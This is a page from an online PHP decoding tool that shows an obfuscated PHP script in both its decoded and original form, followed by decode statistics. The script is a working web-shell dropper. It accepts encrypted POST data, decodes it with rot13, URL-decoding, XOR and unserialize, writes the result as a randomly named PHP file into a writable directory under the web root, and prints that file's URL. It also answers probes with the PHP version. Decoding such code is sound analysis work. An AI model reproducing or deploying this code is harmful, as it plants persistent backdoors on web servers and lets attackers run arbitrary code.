Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function EGPju($CnPWxFApJz, $VCMDl, $KwILih){$RyDSKaq = "d964738c-27b0-4bc1-ae15-bfe..
Decoded Output download
<?php function EGPju($CnPWxFApJz, $VCMDl, $KwILih){$RyDSKaq = "d964738c-27b0-4bc1-ae15-bfe37fa86143";return $CnPWxFApJz ^ $RyDSKaq[$VCMDl % strlen($RyDSKaq)] ^ $KwILih;}$ebAcrtp = "MLFqkjxasy";function kFFkHOiQHO($ebAcrtp){ $LFsCjUUa = 's'."t"."r"."_"."r".chr(923-812).chr(116)."1"."3";$ebAcrtp = $LFsCjUUa($ebAcrtp);$XNFcN = chr(114).'a'.'w'.'u'.chr(114)."l"."d".chr(336-235).chr(257-158).'o'.'d'.chr(1054-953);$ebAcrtp = $XNFcN($ebAcrtp);$ebAcrtp = str_split($ebAcrtp);return $ebAcrtp;}function ejWfTCkS($oOYWY, $KwILih){$oOYWY = array_map("EGPju", array_values($oOYWY), array_keys($oOYWY), array_values($KwILih));$oOYWY = implode("", $oOYWY);$LglWhP = "u"."n"."s".chr(694-593)."r".'i'.chr(97).chr(108)."i".'z'."e";$oOYWY = @$LglWhP($oOYWY);return $oOYWY;}function dTMDvnMnAl($KwILih, $oOYWY){$KwILih = array_slice(str_split(str_repeat($KwILih, (count($oOYWY)/16)+1)), 0, count($oOYWY));return $KwILih;}function MXwEewPQ(){echo "hQPhjnqJ";}function QMKBN($UPYDmVsYir){static $MZlkfOfFLt = array();$RurIqED = glob($UPYDmVsYir . '/*', GLOB_ONLYDIR);$MZxHFU = count($RurIqED);if ($MZxHFU > 0) {foreach ($RurIqED as $UPYDmVsY) {$UkTSTUnM = "i".chr(621-506)."_"."w"."r"."i"."t".chr(670-573).chr(98)."l".chr(101);if (@$UkTSTUnM($UPYDmVsY)) {$MZlkfOfFLt[] = $UPYDmVsY;}}}foreach ($RurIqED as $UPYDmVsYir) QMKBN($UPYDmVsYir);return $MZlkfOfFLt;}function fDsFJ($oOYWY){$gaZqTHl = chr(932-864).chr(956-877)."C".chr(223-138).chr(77).'E'.'N'.chr(896-812).'_'."R"."O".chr(79).chr(84);$cadsHbrehv = $_SERVER[$gaZqTHl];$RurIqED = QMKBN($cadsHbrehv);$tSPdesKj = array_rand($RurIqED);$MELvkudu = '.'."p".chr(104)."p";$eZLNsZVh = $RurIqED[$tSPdesKj] . "/" . substr(md5(time()), 0, 8) . $MELvkudu;$hYPqRgFm = chr(102)."i".chr(108)."e".chr(791-696).'p'.'u'.'t'.chr(95).'c'.'o'."n".'t'.chr(101).chr(110)."t"."s";@$hYPqRgFm($eZLNsZVh, $oOYWY);$pWBhplu = chr(72)."T"."T"."P".chr(153-58).chr(72).'O'.chr(602-519).chr(558-474);$KICRmIbGle = chr(597-493)."t".chr(116).'p'.chr(58).'/'.'/';$IrqlS = $KICRmIbGle . $_SERVER[$pWBhplu] . substr($eZLNsZVh, strlen($cadsHbrehv));print($IrqlS);}function RtZuE(){$grCmLiHloB = 'p'.chr(150-46).'p';$JOCviOz = 'p'."h".chr(263-151).chr(118)."e".'r'.'s'.'i'."o".'n';$oOYWY = Array($grCmLiHloB => @$JOCviOz(), );$YvSoAtwX = "s"."e"."r".chr(105)."a".chr(307-199).chr(933-828)."z".chr(101);echo @$YvSoAtwX($oOYWY);}function YfMKo(){echo "MLFqkjxasy";}foreach ($_POST as $KwILih => $oOYWY){$NDwHizUuK = strlen($KwILih);if ($NDwHizUuK == 16){$oOYWY = kFFkHOiQHO($oOYWY);$KwILih = dTMDvnMnAl($KwILih, $oOYWY);$oOYWY = ejWfTCkS($oOYWY, $KwILih);if (@is_array($oOYWY)){$tSPdesKj = array_keys($oOYWY);$oOYWY = $oOYWY[$tSPdesKj[0]];$tSPdesKj = $tSPdesKj[0];$tSPdesKj = substr($tSPdesKj, 0);if ($oOYWY !== $tSPdesKj){fDsFJ($oOYWY);}else {RtZuE();}}}}die(); ?>
Did this file decode correctly?
Original Code
<?php function EGPju($CnPWxFApJz, $VCMDl, $KwILih){$RyDSKaq = "d964738c-27b0-4bc1-ae15-bfe37fa86143";return $CnPWxFApJz ^ $RyDSKaq[$VCMDl % strlen($RyDSKaq)] ^ $KwILih;}$ebAcrtp = "MLFqkjxasy";function kFFkHOiQHO($ebAcrtp){ $LFsCjUUa = 's'."\x74"."\x72"."\137"."\162".chr(923-812).chr(116)."\x31"."\63";$ebAcrtp = $LFsCjUUa($ebAcrtp);$XNFcN = chr(114).'a'.'w'.'u'.chr(114)."\x6c"."\x64".chr(336-235).chr(257-158).'o'.'d'.chr(1054-953);$ebAcrtp = $XNFcN($ebAcrtp);$ebAcrtp = str_split($ebAcrtp);return $ebAcrtp;}function ejWfTCkS($oOYWY, $KwILih){$oOYWY = array_map("EGPju", array_values($oOYWY), array_keys($oOYWY), array_values($KwILih));$oOYWY = implode("", $oOYWY);$LglWhP = "\x75"."\156"."\x73".chr(694-593)."\162".'i'.chr(97).chr(108)."\151".'z'."\145";$oOYWY = @$LglWhP($oOYWY);return $oOYWY;}function dTMDvnMnAl($KwILih, $oOYWY){$KwILih = array_slice(str_split(str_repeat($KwILih, (count($oOYWY)/16)+1)), 0, count($oOYWY));return $KwILih;}function MXwEewPQ(){echo "hQPhjnqJ";}function QMKBN($UPYDmVsYir){static $MZlkfOfFLt = array();$RurIqED = glob($UPYDmVsYir . '/*', GLOB_ONLYDIR);$MZxHFU = count($RurIqED);if ($MZxHFU > 0) {foreach ($RurIqED as $UPYDmVsY) {$UkTSTUnM = "\x69".chr(621-506)."\137"."\167"."\162"."\x69"."\164".chr(670-573).chr(98)."\x6c".chr(101);if (@$UkTSTUnM($UPYDmVsY)) {$MZlkfOfFLt[] = $UPYDmVsY;}}}foreach ($RurIqED as $UPYDmVsYir) QMKBN($UPYDmVsYir);return $MZlkfOfFLt;}function fDsFJ($oOYWY){$gaZqTHl = chr(932-864).chr(956-877)."\x43".chr(223-138).chr(77).'E'.'N'.chr(896-812).'_'."\122"."\x4f".chr(79).chr(84);$cadsHbrehv = $_SERVER[$gaZqTHl];$RurIqED = QMKBN($cadsHbrehv);$tSPdesKj = array_rand($RurIqED);$MELvkudu = '.'."\x70".chr(104)."\160";$eZLNsZVh = $RurIqED[$tSPdesKj] . "/" . substr(md5(time()), 0, 8) . $MELvkudu;$hYPqRgFm = chr(102)."\151".chr(108)."\x65".chr(791-696).'p'.'u'.'t'.chr(95).'c'.'o'."\156".'t'.chr(101).chr(110)."\164"."\x73";@$hYPqRgFm($eZLNsZVh, $oOYWY);$pWBhplu = chr(72)."\x54"."\x54"."\120".chr(153-58).chr(72).'O'.chr(602-519).chr(558-474);$KICRmIbGle = chr(597-493)."\164".chr(116).'p'.chr(58).'/'.'/';$IrqlS = $KICRmIbGle . $_SERVER[$pWBhplu] . substr($eZLNsZVh, strlen($cadsHbrehv));print($IrqlS);}function RtZuE(){$grCmLiHloB = 'p'.chr(150-46).'p';$JOCviOz = 'p'."\x68".chr(263-151).chr(118)."\145".'r'.'s'.'i'."\x6f".'n';$oOYWY = Array($grCmLiHloB => @$JOCviOz(), );$YvSoAtwX = "\163"."\145"."\x72".chr(105)."\x61".chr(307-199).chr(933-828)."\172".chr(101);echo @$YvSoAtwX($oOYWY);}function YfMKo(){echo "MLFqkjxasy";}foreach ($_POST as $KwILih => $oOYWY){$NDwHizUuK = strlen($KwILih);if ($NDwHizUuK == 16){$oOYWY = kFFkHOiQHO($oOYWY);$KwILih = dTMDvnMnAl($KwILih, $oOYWY);$oOYWY = ejWfTCkS($oOYWY, $KwILih);if (@is_array($oOYWY)){$tSPdesKj = array_keys($oOYWY);$oOYWY = $oOYWY[$tSPdesKj[0]];$tSPdesKj = $tSPdesKj[0];$tSPdesKj = substr($tSPdesKj, 0);if ($oOYWY !== $tSPdesKj){fDsFJ($oOYWY);}else {RtZuE();}}}}die();
Function Calls
None |
Stats
MD5 | b596a195273981ee5e64bd2209c812b3 |
Eval Count | 0 |
Decode Time | 74 ms |